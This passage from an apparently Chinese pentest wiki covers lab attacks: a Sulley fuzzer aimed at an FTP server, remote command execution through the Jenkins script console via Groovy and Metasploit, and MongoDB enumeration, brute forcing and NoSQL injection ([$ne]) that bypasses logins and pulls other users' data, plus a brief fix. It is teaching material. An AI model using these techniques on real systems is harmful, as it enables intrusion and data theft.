s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")

# -------------------------------------------------------------------
# 定义pre_send函数。 三次握手后会立即执行
def receive_ftp_banner(sock):
    data = sock.recv(1024)
    print(data)

# -------------------------------------------------------------------
# 定义会话
# 会话参数
SESSION_FILENAME = "pcmanftpd-session"  # 跟踪当前的fuzz状态
SLEEP_TIME = 0.5                        # 在两次fuzz尝试之间暂停
TIMEOUT = 5                             # 没有连接5秒后,fuzz会超时
CRASH_THRESHOLD = 4                     # 4次崩溃后,参数将被跳过

mysession = sessions.session(
    session_filename=SESSION_FILENAME,
    sleep_time=SLEEP_TIME,
    timeout=TIMEOUT,
    crash_threshold=CRASH_THRESHOLD)

mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))

# -------------------------------------------------------------------
# 绘制代表fuzz路径的图形。
with open("session_test.udg", "w+") as f:
    f.write(mysession.render_graph_udraw())

# -------------------------------------------------------------------
# 一些概述输出

print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * 5))

decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
    exit()

# -------------------------------------------------------------------
# 定义目标具体参数
host = "192.168.1.107"
ftp_port = 21
netmon_port = 26001
procmon_port = 26002
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netmon = pedrpc.client(host, netmon_port)

target.procmon_options = {
    "proc_name": "pcmanftpd2.exe",
    "stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
    "start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}

# 将目标添加到会话
mysession.add_target(target)

# -------------------------------------------------------------------
# 让我们开始搞事情

print("Starting fuzzing now")
mysession.fuzz()

# 开启fuzz进程
# 也可以通过网页界面(http://127.0.0.1:26000)查看当前状态
代码分析

该代码通过sulley框架来进行fuzz测试,首先进行语法测试,构造多个新请求(包括FTP的user、pass、put、stor、mkd),设置静态字符串和FUZZ字符串,然后定义pre_send三次握手后立即执行,定义会话及会话参数,绘制udg格式的fuzz路径图形,输入一些概述后定义目标具体参数,将目标添加到会话中,直接开始搞事情。

期间可以通过网页界面(http://127.0.0.1:26000)查看当前状态

Jenkins Hacking

  1. 如何部署jenkins?
  2. 如何利用jenkins服务器?

Jenkins是一个独立、开源的自动化服务器,可用于自动执行各种任务,如构建,测试和部署软件。Jenkins可以通过本地系统软件包Docker安装,甚至是独立运行在安装java运行环境的任何机器上。

如何部署jenkins?

这引导将使用“独立的”Jenkins发行版,该发行版要求最少使用Java 7,但建议使用Java 8。还建议使用超过512MB RAM的系统。

  1. 下载Jenkins.
  2. 在下载目录中打开终端并运行java -jar jenkins.war
  3. 在浏览器中打开http:// localhost:8080并按照说明完成安装。
  4. 许多Pipeline示例需要在与Jenkins相同的计算机上安装Docker。

请检查安装日志,如下:

root@lab:~/Downloads# java -jar jenkins.war
Running from: /root/Downloads/jenkins.war
webroot: $user.home/.jenkins
Mar 15, 2017 5:03:49 AM Main deleteWinstoneTempContents
WARNING: Failed to delete the temporary Winstone file /tmp/winstone/jenkins.war
Mar 15, 2017 5:03:50 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Logging initialized @6168ms
Mar 15, 2017 5:03:50 AM winstone.Logger logInternal
INFO: Beginning extraction from war file
Mar 15, 2017 5:04:05 AM org.eclipse.jetty.util.log.JavaUtilLog warn
WARNING: Empty contextPath
Mar 15, 2017 5:04:06 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: jetty-9.2.z-SNAPSHOT
Mar 15, 2017 5:04:10 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: NO JSP Support for /, did not find org.eclipse.jetty.jsp.JettyJspServlet
Jenkins home directory: /root/.jenkins found at: $user.home/.jenkins
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started w.@30990c1b{/,file:/root/.jenkins/war/,AVAILABLE}{/root/.jenkins/war}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started ServerConnector@54227100{HTTP/1.1}{0.0.0.0:8080}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started @36602ms
Mar 15, 2017 5:04:20 AM winstone.Logger logInternal
INFO: Winstone Servlet Engine v2.0 running: controlPort=disabled
Mar 15, 2017 5:04:22 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started initialization
Mar 15, 2017 5:04:23 AM jenkins.InitReactorRunner$1 onAttained
INFO: Listed all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Prepared all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Augmented all extensions
Mar 15, 2017 5:04:51 AM jenkins.InitReactorRunner$1 onAttained
INFO: Loaded all jobs
Mar 15, 2017 5:04:51 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Started Download metadata
Mar 15, 2017 5:04:52 AM org.jenkinsci.main.modules.sshd.SSHD start
INFO: Started SSHD at port 43731
Mar 15, 2017 5:04:53 AM jenkins.InitReactorRunner$1 onAttained
INFO: Completed initialization
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:55 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701]: org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485
Mar 15, 2017 5:04:55 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485: defining beans [authenticationManager]; root of factory hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:58 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4]: org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965
Mar 15, 2017 5:04:58 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965: defining beans [filter,legacy]; root of factory hierarchy
Mar 15, 2017 5:04:59 AM jenkins.install.SetupWizard init
INFO:

*************************************************************
*************************************************************
*************************************************************

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35

This may also be found at: /root/.jenkins/secrets/initialAdminPassword

*************************************************************
*************************************************************
*************************************************************

Mar 15, 2017 5:05:06 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:09 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
Mar 15, 2017 5:05:09 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:10 AM hudson.WebAppMain$3 run
INFO: Jenkins is fully up and running
Mar 15, 2017 5:05:10 AM javax.jmdns.impl.HostInfo newHostInfo
WARNING: Could not intialize the host network interface on nullbecause of an error: lab: lab: Temporary failure in name resolution
java.net.UnknownHostException: lab: lab: Temporary failure in name resolution
    at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
    at javax.jmdns.impl.HostInfo.newHostInfo(HostInfo.java:75)
    at javax.jmdns.impl.JmDNSImpl.<init>(JmDNSImpl.java:407)
    at javax.jmdns.JmDNS.create(JmDNS.java:60)
    at hudson.DNSMultiCast$1.call(DNSMultiCast.java:33)
    at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: java.net.UnknownHostException: lab: Temporary failure in name resolution
    at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
    at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
    at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
    at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
    ... 9 more

Mar 15, 2017 5:05:18 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tools.JDKInstaller
Mar 15, 2017 5:05:18 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Finished Download metadata. 27,508 ms

请注意这里,我们需要密码来完成设置。

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35
如何利用jenkins服务器?

访问 http://127.0.0.1:8080/script, 并用脚本控制台pwn jenkins服务器。

脚本控制台

输入一个任意的Groovy脚本并在服务器上执行它。用于故障排除和诊断。使用’println’命令来查看输出结果(如果使用System.out,它将转到服务器的stdout,这是很难看到的。)

例如:

execmd.groovy

execmd.groovy 可以帮助你在jenkins服务器上执行os命令。

# Windows

println "cmd.exe /c dir".execute().text


# Linux

println "uname -a".execute().text
writefile.groovy

writefile.groovy 可以将字符串写入jenkins服务器上的文件。

new File("/tmp/test.sh").write("""
echo "123"
echo "456"
""")

如果你更喜欢metasploit-framework,

msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   password         no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.100    yes       The target address
   RPORT      8080             yes       The target port
   TARGETURI  /                yes       The path to jenkins
   USERNAME   test             no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux
msf exploit(jenkins_script_console) > exploit
链接
  1. https://jenkins.io/

WEB应用程序评估

Android hacking 与 安全
  1. 利用保护应用程序组件
  2. 内容提供者泄露
  3. 利用广播接收机
  4. 利用非预期的数据泄漏端信道数据泄漏
  5. 使用jdb调试java应用程序
  6. 利用可调试的android应用程序
  7. 攻击android的webviews
  8. 根检测规避
  9. 不安全的本地存储共享偏好
  10. 不安全的本地存储
  11. 黑盒评估introspy
  12. 保护共享偏好第三方库
  13. drozer介绍
  14. 检查Android应用程序特定的数据非根设备
  15. 使用备份技术攻击android应用程序
  16. 破解密码学
  17. 破解Android应用程序二进制文件
  18. 逆向工程介绍
  19. 使用nosql数据库不安全的数据存储
  20. 使用gdb在android模拟器上调试应用程序

安卓逆向工程

  1. http://www.fasteque.com/android-reverse-engineering-101-part-1/
  2. http://www.fasteque.com/android-reverse-engineering-101-part-2/
  3. http://www.fasteque.com/android-reverse-engineering-101-part-3/
  4. http://www.fasteque.com/android-reverse-engineering-101-part-4/
  5. http://www.fasteque.com/android-reverse-engineering-101-part-5/
Android安全和渗透利用
  1. 介绍
  2. Android的安全性-介绍
  3. Android-架构
  4. Android-权限
  5. Android-应用
  6. Genymotion(一款安卓模拟器) 设置
  7. Android-应用程序组件
  8. Dex-分析
  9. Android-调试桥
  10. 基于日志记录的漏洞
  11. 应用逆向
  12. 分析Android的软件及恶意软件
  13. 流量分析
  14. SSL-Pinning
  15. 泄漏的内容提供商
  16. Drozer-功夫
  17. 基于read的内容提供商漏洞
  18. 进阶Drozer-功夫
  19. Drozer脚本
  20. Dropbox的脆弱性
  21. 基于备份的漏洞
  22. 客户端注入
  23. Hooking 介绍和不安全的设置
  24. 基于Andbug的Android调试
  25. JDB调试
  26. 用Introspy自动Hooking
  27. Cydia-基底
  28. 使用Xposed进行Hooking
  29. Androguard脚本和分析
  30. 基于webviews的漏洞
  31. 利用Metasploit工具攻击webviews

书籍推荐

  1. Android安全手册
  2. Android黑客手册
  3. 学习针对Android设备的测试

数据库评估

mongodb

1. 介绍和Labs安装.
1.1 什么是MongoDB ?

MongoDB是一种开源的、文档导向的数据库管理系统,由C++撰写而成。
在MongoDB中,数据以JSON样式文档的形式存储。
MongoDB的一些主要特性:
• 基于文档
• 高性能
• 高可用性
• 简单的可扩展性
• 没有复杂的联接

1.2 安全性如何 ?

随着NoSQL数据库的使用越来越多,安全性应该被认真考虑。 就像其他系统一样,MongoDB的安全性也不是一个单一的工作。 生态系统中的每个人都对此负责。 尽管MongoDB具有一些内置的安全功能,但由于各种原因(如配置错误,不更新,编程不佳等),在生产中可能存在漏洞 。

1.3 在ubuntu中安装MongoDB

我这里使用的是Ubuntu14.04,不同的版本安装MongoDB的命令可能有点差异,为了方便,Ubuntu开启了SSH服务,安装了特定版本的MongoDB 3.0.4。
step 1 : 导入MongoDB GPG密钥。
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10
step 2 : 为mongodb创建一个list file
echo "deb http://repo.mongodb.org/apt/ubuntu precise/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
step 3 : 只更新mongodb-org-3.0.list
sudo apt-get update
step 4 : 安装特定版本的mongodb
sudo apt-get install -y mongodb-org=3.0.4 mongodb-org-server=3.0.4 mongodb-org-shell=3.0.4 mongodb-org-mongos=3.0.4 mongodb-org-tools=3.0.4
step 5 : 配置防止意外升级
echo "mongodb-org hold" | sudo dpkg --set-selections
echo "mongodb-org-server hold" | sudo dpkg --set-selections
echo "mongodb-org-shell hold" | sudo dpkg --set-selections
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections
step 6 : 启动MongoDB服务
sudo service mongod start
step 7 : 验证进程是否成功启动
tail -20 /var/log/mongodb/mongod.log
如果看到如下输出信息,意味着进程已成功启动
[initandlisten] waiting for connections on port <port>
step 8 : 为了实现渗透测试,需要使用以下步骤启动MongoDB
sudo mongod --httpinterface --rest --smallfiles

1.4 学习Mongo Shell

在前几节中,我们已经看到了对MongoDB及其设置的简要介绍。现在是时候使用Mongo shell并在MongoDB上执行一些命令来更好了解MongoDB及其工作。
MongoDB使用JavaScript风格的查询,因此我们觉得大部分时间都在运行JavaScript代码。
本节将简要介绍MongoDB的工作原理,并且介绍简单的Mongo shell命令。
在我们开始之前,有几个术语要理解。
• MongoDB 可以有多个数据库.
• 每个数据库都含有一个或多个集合 “collections”.
• 每个集合都含有一个或多个文档 “documents”.

现在,我们继续运行MongoDB命令。

1.4.1 创建数据库

如果要创建的数据库名不存在,以下命令将创建一个新的数据库,数据库名已存在会直接使用它。

让我们来创建一个名为”testdb”的数据库。
pentest wiki

1.4.2 检查当前数据库

我们可以使用命令”db”来检查当前的数据库。 我们运行命令”db”来检查当前的数据库。
pentest wiki

1.4.3 检查数据库列表

“show dbs”是列出可用数据库的命令,但是这里并没有输出我们刚才创建的testdb数据库,因为它至少需要一个文档,当我们插入一个文档,我们就可以看到列出的数据库。
pentest wiki

1.4.4 将数据插入集合

这个是把一个数据插入到data集合中。
“db.data.insert({“user”:”test1”})
pentest wiki

1.4.5 查询数据

从MongoDB集合中查询数据,可以使用find()方法。
让我们查询data集合中的全部文档数据。
“db.data.find()”
pentest wiki

1.4.6 在查询数据时写入条件

我们还可以使用MongoDB特定的语法在类似于RDBMS条件的查询中编写条件,让我们来匹配用户名user为test1的数据。
pentest wiki

1.4.7 删除数据

我们可以使用remove()方法根据特定条件从集合中删除文档。让我们来删除用户名user为test3的数据。
pentest wiki

1.4.8 删除集合

我们可以使用drop()方法来删除集合,让我们来删除data集合。
pentest wiki

1.4.9 删除数据库

我们可以使用db.dropDatabase()删除目前使用的数据库。
pentest wiki

1.5 Lab实验环境安装

熟悉了MongoDB的基本操作之后,接下来我们本地搭建一个Lab实验环境来开始我们的MongoDB数据库渗透测试。
pentest wiki
这里我是通过Parrot和Ubuntu虚拟机来搭建Lab实验环境的,只要确保两主机网络互通即可,桥接和NAT都可以实现。
用Ubuntu来模拟现实中的生产机器,安装MongoDB和php web应用程序。
接下来正式开始我们的Lab实验环境搭建,我这里先安装好了LAMP。
注意: 请使用与我用来创建数据库和集合相同的名称。这是PHP Web应用程序的工作所必需的。如果您更改这些名称,则可能需要相应地更改PHPWeb应用程序。

step 1 : 创建一个新的数据库
pentest wiki

step 2 : 插入数据
把测试数据插入集合”users”和集合”products”。

db.users.insert({"username":"tom","password":"tom","email":"tom@gmail.com","cardnumber":12345})
db.users.insert({"username":"jim","password":"jim","email":"jim@gmail.com","cardnumber":54321})
db.users.insert({"username":"bob","password":"bob","email":"bob@gmail.com","cardnumber":22222})
db.products.insert({"email":"tom@gmail.com","prodname":"laptop","price":"1500USD"})
db.products.insert({"email":"jim@gmail.com","prodname":"book","price":"50USD"})
db.products.insert({"email":"bob@gmail.com","prodname":"diamond-ring","price":"4500USD"})

step 3 : 安装mongo的PHP驱动程序

为了使PHP Web应用程序能够使用MongoDB,我们需要安装PHP驱动程序。

sudo apt-get install php-pear
sudo pecl install mongo

如果出现如下报错,使用sudo apt-get install php5-dev,安装完成后。
再使用sudo pecl install mongo即可。
pentest wiki
安装完成后,会提示把”extension=mongo.so”添加到php.ini中,添加即可。
pentest wiki

step 4 : 安装PHP Web应用程序

这里安装比较简单了,直接把mongo.zip拷贝到Ubuntu,解压到/var/www/html目录下,启动apache服务即可。

这一步完成了PHP漏洞应用程序的安装。一旦一切正常,我们可以在浏览器中启动Web应用程序。如图所示:

pentest wiki

之前我们已经在Mongo数据库中插入了测试数据,现在我们直接用tom用户密码登录。

pentest wiki

如果你看到如上所示的主页,那就证明MongoDB渗透环境已经搭建好了。

2. 漏洞评估

2.1 介绍

面对错误配置问题,MongoDB可能会像其他数据库/服务器一样。在本节中,我们将看到一些常见的错误配置以及如何识别它们。我们也将看到与使用MongoDB作为后端的Web应用程序相关的漏洞。

2.2 扫描开放端口

在进行黑盒评估时,我们可以使用nmap来确定MongoDB是否在远程主机上运行。 MongoDB服务的默认端口是27017。扫描到27017是open表示允许在远程主机上运行,默认绑定地址是127.0.0.1,是扫不出来的,我这里修改了绑定地址为0.0.0.0
pentest wiki

MongoDB默认设置不需要使用客户端控制台进行连接的任何验证。如果MongoDB服务在没有适当的安全控制的情况下通过网络公开,任何人都可以远程连接到数据库,并执行命令来创建/读取/更新/删除数据库。我们将在后面的章节中试图做到这一点。

2.3 服务枚举

虽然我们知道了开放端口2017,但其他一些服务可能会使用此端口。也可以运行MongoDB在不同的端口上。 为了确保我们找到的端口是MongoDB,我们可以使用nmap的“-sV”标志来执行服务枚举。
pentest wiki

这也有助于弄清楚MongoDB的版本,以便我们可以找到任何已知的版本可用漏洞。

在我们的渗透测试中,我们可能会遇到MongoDB的老版本。一个快速的Shodan搜索显示,大部分被发现的MongoDB版本都在运行旧版本的MongoDB。
pentest wiki
这对攻击者来说绝对是个好消息,因为旧版本的MongoDB实例中存在许多默认的错误配置。

2.4 扫描HTTP接口

MongoDB提供了一个简单的HTTP界面,列出管理员感兴趣的信息。如果使用带–rest选项的接口启用mongod,则可以通过比配置的mongod端口多1000个端口来访问它。 HTTP接口的默认端口是28017。我们在搭建实验环境时已经使用了带–rest选项的命令来启动mongod。
我们可以使用nmap查看远程主机是否使用http接口运行,通过-sV确认它是MongoDB的http界面。
pentest wiki

注 意 : 默认情况下运行的MongoDB版本大于2.6,禁用http接口。

2.5 访问HTTP接口

可直接通过HTTP链接访问:http://192.168.2.105:28017/,可实现多种功能,大家自行研究。
pentest wiki

2.6 用nmap NSE scripts进行扫描

如果http接口需要认证,我们需要尝试暴力破解。有相当多的nmap nse 脚本可用于MongoDB漏洞评估。我们可以使用它们来识别目标机器中的漏洞。

2.7 mongodb-brute

使用这个NSE脚本对MongoDB数据库执行暴力破解密码审计,我们可以看到mongodb-brute已经进行了测试并确认不需要认证。
pentest wiki

2.8 mongodb-databases

使用这个NSE脚本尝试从MongoDB数据库获取表的列表。这只有在MongoDB接口不需要验证的情况下才有效。
pentest wiki

2.9 Metasploit辅助模块

使用auxiliary/scanner/mongodb/mongodb_login辅助模块
show options 查询需要配置的选项。
pentest wiki
设置好参数,直接run,这里看到是没认证的,如果有认证需要配合字典爆破。
pentest wiki
从MongoDB版本3.0开始,MongoDB已经将其默认的认证方法改变为质询和响应机制(SCRAM-SHA-1)。根据文档,“SCRAM-SHA-1根据用户的名称,密码和数据库验证提供的用户凭证。
当用户使用MongoDB进行身份验证时,他必须提供用户名,密码和创建数据库。

mongo 192.168.2.105 -u user -p password –authenticationDatabase userdb

在MongoDB上暴力破解是有点困难,因为我们需要能够正确地通过所有这三个。 知道创建用户的数据库的名称很重要。 通常情况下,自动化工具默认选择“admin”作为数据库。

2.10 攻击利用

在最初的信息收集阶段,我们了解到远程主机正在运行MongoDB,并且不需要进行身份验证即可连接到服务器。
当在生产环境中使用MongoDB时,必须从其他数据库和/或应用程序服务器访问。当mongod通过网络暴露给其他主机时,必须小心防止不必要的暴露出公网。
当我们可以免认证直接连接到MongoDB数据库或者WEB访问28017端口,就可以随意进行自己想要的操作。

3. 攻击应用程序

3.1 介绍

到目前为止,在给出MongoDB主机的IP地址时,我们学会了评估Mongo主机安全性的技术。 本节将介绍在MongoDB与Web应用程序一起使用时执行NoSQL注入攻击的技术。
SQL数据库(如MySQL)上的注入是非常常见的。 有一个误解,即MongoDB不使用SQL,因此在使用MongoDB的应用程序中不能使用注入。但当用户输入没有正确过滤时,仍然可以对基于MongoDB的应用程序进行注入攻击。

我们将用使用MongoDB作为后端的PHP应用程序来演示这种攻击。

以PHP和MongoDB为后端的NoSQL注入

让我们开始使用之前搭建好的实验环境-PHP-MongoDB应用程序,先了解应用程序功能,我们打开首页,需要输入正确的用户名和密码登录。 如果用户名/密码不正
确,应用程序将会报错。

pentest wiki

接下来让我们通过使用注入绕过这个认证。

认证绕过
确保浏览器配置为通过Burp代理发送所有流量,因为应用程序使用POST方法发送凭证,我们直接把请求包截取下来。
pentest wiki
从上图可以看出,我们通过”tom”作为用户名和密码。我们可以对数据进行修改再转发到服务器。 在修改这些参数之前,我们先理解MongoDB注入是如何工作的。
了解MongoDB中的注入:
在后台运行的查询将创建以下语句
pentest wiki
这看起来没问题,因为它正在提取我们请求的文件,这个文件的用
户名和密码是”tom”
但是,如果上面的命令被修改会怎样? 如下所示 :
pentest wiki
如果你注意到,上面的MongoDB命令是获取用户名是“tom”而密码不等于“test0x00”的所有文档。
我们直接修改命令,同时对用户名和密码注入。
pentest wiki
这一次,我们可以看到所有不符合条件用户名和密码的文件。

那么就这些条件的功能而言,这个输出就像预期的一样。

试想一下,如果可以从Web应用程序入口点创建这种情况,即使密码不匹配,我们也能够看到特定用户名的文档。 显然,这会对应用程序造成严重的危险。

测试注入:
在我们继续向数据库中注入一些恶意查询之前,我们来测试一下MongoDB及其异常的存在。 这个想法和其他注入一样。

正如我们在前面的章节中看到的,在MongoDB查询中可以传递[$ne]这样的条件。 如果我们传递一些MongoDB未知的东西,会发生什么?

我们可以往MongoDB查询中传递一个[$nt].
pentest wiki

正如我们在上面的输出中可以看到的,我们打破了查询,并得到一个错误,说“未知的操作符:[$nt]”

让我们从实验环境PHP应用程序中尝试这个。 如果异常处理不当并抛出给用户,与MySQL数据库中的SQL注入类似,我们可以看到MongoDB的存在并收集其他关键信息。

让我们注入一些未知的运算符,重发刚才拦截到的数据包,看看MongoDB是否执行它。
pentest wiki

在浏览器看不出问题所在,没有任何错误回显。但burp就可以看到出现500内部错误。
pentest wiki
当我们把不存在的数组修改器[$nt]改成[$ne],重发数据包后就发现登录成功了。
pentest wiki
我这里直接用hackbar进行post数据,可以看到我们已经成功登录进后台了。

下面贴上index.php的漏洞代码片段:
pentest wiki

我们来分析一下MongoDB层面发生了什么
我们传递的数据已经发送到数据库,下面的查询已经被执行,允许我们登录。
pentest wiki
我们还可以检查MongoDB控制台日志,以了解攻击者执行的操作。
pentest wiki
这不仅仅是绕过认证,而且我们也可以使用相同的技术在某些情况下从数据库中提取数据,如下所示。

实验环境WEB应用程序有一个功能,我们可以在其中搜索用户所做的购买细节 。首先,用户必须登录到应用程序,然后他可以输入他的电子邮件ID来查看他的购买细节。

注 意 : 虽然在这个应用程序中没有实现 输入控制 ,但假设这个应用程序在输入电子邮件ID时不会显示其他用户的详细信息。

枚举数据:

当用户输入他的邮箱地址进行搜索详细信息,URL会变成如下:
http://192.168.2.105/home.php?search=tom@gmail.com&Search=Search
上面的查询显示了与输入的电子邮件ID相关的输出,如下所示。

pentest wiki

让我们再次测试MongoDB注入 ,如下所示
pentest wiki
MongoDB可能会执行我们传递的查询,因为它正在执行我们在URL中传递的操作符并中断查询。我们把[$nk]替换成[$ne]再次进行注入。

pentest wiki

如上所示,我们看到正确查询到了3条数据,但是默认只显示一条。我们可以通过[$ne]来遍历数据。

pentest wiki

这个例子显示了对基于MongoDB的应用程序的严重注入攻击的可能性。

下面贴上home.php的漏洞代码片段
pentest wiki
如何解决这个问题?

这个问题背后的根本原因是缺乏对来自用户的数据类型进行适当的输入验证。 确保用户输入在处理之前被严格验证。

我们只需要做下严格验证即可,例如:
(string)$_POST['uname']
(string)$_POST['upass']
确保变量在被传递到MongoDB驱动程序之前被正确输入。

以 NodeJS和MongoDB 为后端的 NoSQL注入,跟PHP应用程序注入方式一样,感兴趣的可以自行研究。

4. 自动化评估

在之前的所有章节中,我们都使用了一些使用nmap等半自动化工具的手动技术来识别目标中的漏洞。在本节中,我们使用自动化方法来查找前面部分提到的所有漏洞。
我们将使用一个非常好的工具,称为NoSQLMap

介绍
NoSQLMap是一个开源的Python工具,用于审计和自动化注入攻击,并利用NoSQL数据库中的缺省配置弱点,以及使用NoSQL的Web应用程序来泄露数据库中的数据。目前,这个工具的漏洞主要集中在MongoDB上,但是在未来的版本中计划对其他基于NoSQL的平台(如CouchDB,Redis和Cassandra)提供额外的支持。

特性
• 自动化的MongoDB和CouchDB数据库枚举和克隆攻击。
• 通过MongoDB Web应用程序提取数据库名称,用户和密码哈希。
• 使用默认访问和枚举版本扫描MongoDB和CouchDB数据库的子网或IP列表。
• 使用 强力字典 爆破 MongoDB和CouchDB 的 哈希。
• 针对MongoClient的PHP应用程序参数注入攻击返回所有数据库记录。
• Javascript函数变量转义和任意代码注入来返回所有的数据库记录。
• 基于计时的攻击类似于SQL盲注来验证没有回显信息的Javascript注入漏洞。

下载并安装好NoSQLMap,运行:
pentest wiki

4.1 准备好NoSQLMap

根据我们的目标,我们可以选择一个合适的选项。 在进行漏洞评估之前,我们需要使用选项1来设置参数。
pentest wiki

• 第一个选项是指定目标IP地址。
• 第二个选项是指定被渗透机WEB应用的地址。
• 第三个选项是指定可能存在注入的路径。
• 第四个选项是切换HTTPS。
• 第五个选项是指定MongoDB的工作端口。
• 第六个选项是设置HTTP请求模式。
• 第七个选项是设置本地的IP地址。
• 第八个选项是设置本地监听端口(MongoDB shell的反弹端口)。
• ……

下面让我们开始实验。我们先需要设置好相关参数。
pentest wiki

4.2 NoSQL DB访问攻击

退出主界面选择第二个NoSQL DB Access Attacks。此选项将检查目标服务器上的MongoDB是否可通过网络访问。 如果可以访问,它将检查我们在前面章节中讨论的错误配置(没有认证,暴露的WEB控制台,暴露的REST端口)
pentest wiki
从上面的输出我们可以看到,NoSQLMap发现通过网络访问MongoDB没有认证,然后给我们提供了获取服务器系统和版本,数据库枚举,检查规范,克隆数据库等功能。
我们先获取服务器系统和版本,如图:
pentest wiki
数据库枚举,从远程服务器 dump 所有数据库和集合:
pentest wiki

4.3 匿名MongoDB访问扫描

NoSQLMap有一个扫描器,可以扫描整个子网上的MongoDB访问。
我们可以直接输入整一个子网网段进行扫描,例如192.168.152.0/24

我们回到主界面,选择选项4,
pentest wiki
它将显示以下选项。

• 可以通过命令输入ip地址
• 可以从一个文件加载IP地址
• 启用/禁用ping之前,尝试与目标服务器的MongoDB连接。

首先,我们提供一个IP地址并观察结果。
pentest wiki
正如我们在上面的结果中看到的,NoSQLMap已经扫描了提供的IP,并确认远程机器上有默认访问。
此外,它还提供了一个选项来将结果保存到CSV文件,我这里把CSV文件命名为test。
我们可以直接使用cat命令查看文件的内容。
pentest wiki
我们还可以提供一个网段来进行扫描。
pentest wiki
NoSQLMap正在检查我们提供网段的每台机器MongoDB匿名访问是否能成功。
pentest wiki
成功获取到这台机器存在匿名访问,其他步骤跟以上相同,在此直接跳过。

4.4 使用NoSQLmap进行NoSQL注入

到目前为止,我们已经看到了使用NoSQLMap工具评估MongoDB服务器安全性的各种方法。

现在,让我们检查一下之前搭建好的实验环境(利用MongoDB作为后端Web应用程序中的漏洞)。
pentest wiki
我们选择选项3 WEB应用程序攻击,这里会提示我们没有设置options。我们直接选择1,根据自己的实验情况设置即可。
pentest wiki
退出主界面,选择3开始WEB应用程序攻击
pentest wiki
选择随机数的长度及填充格式,我这里选择1,字母数字。一旦完成,NoSQLMap会提示我们选择要测试的参数。 在我们的例子中,第一个参数是处理MongoDB的动态参数。
pentest wiki
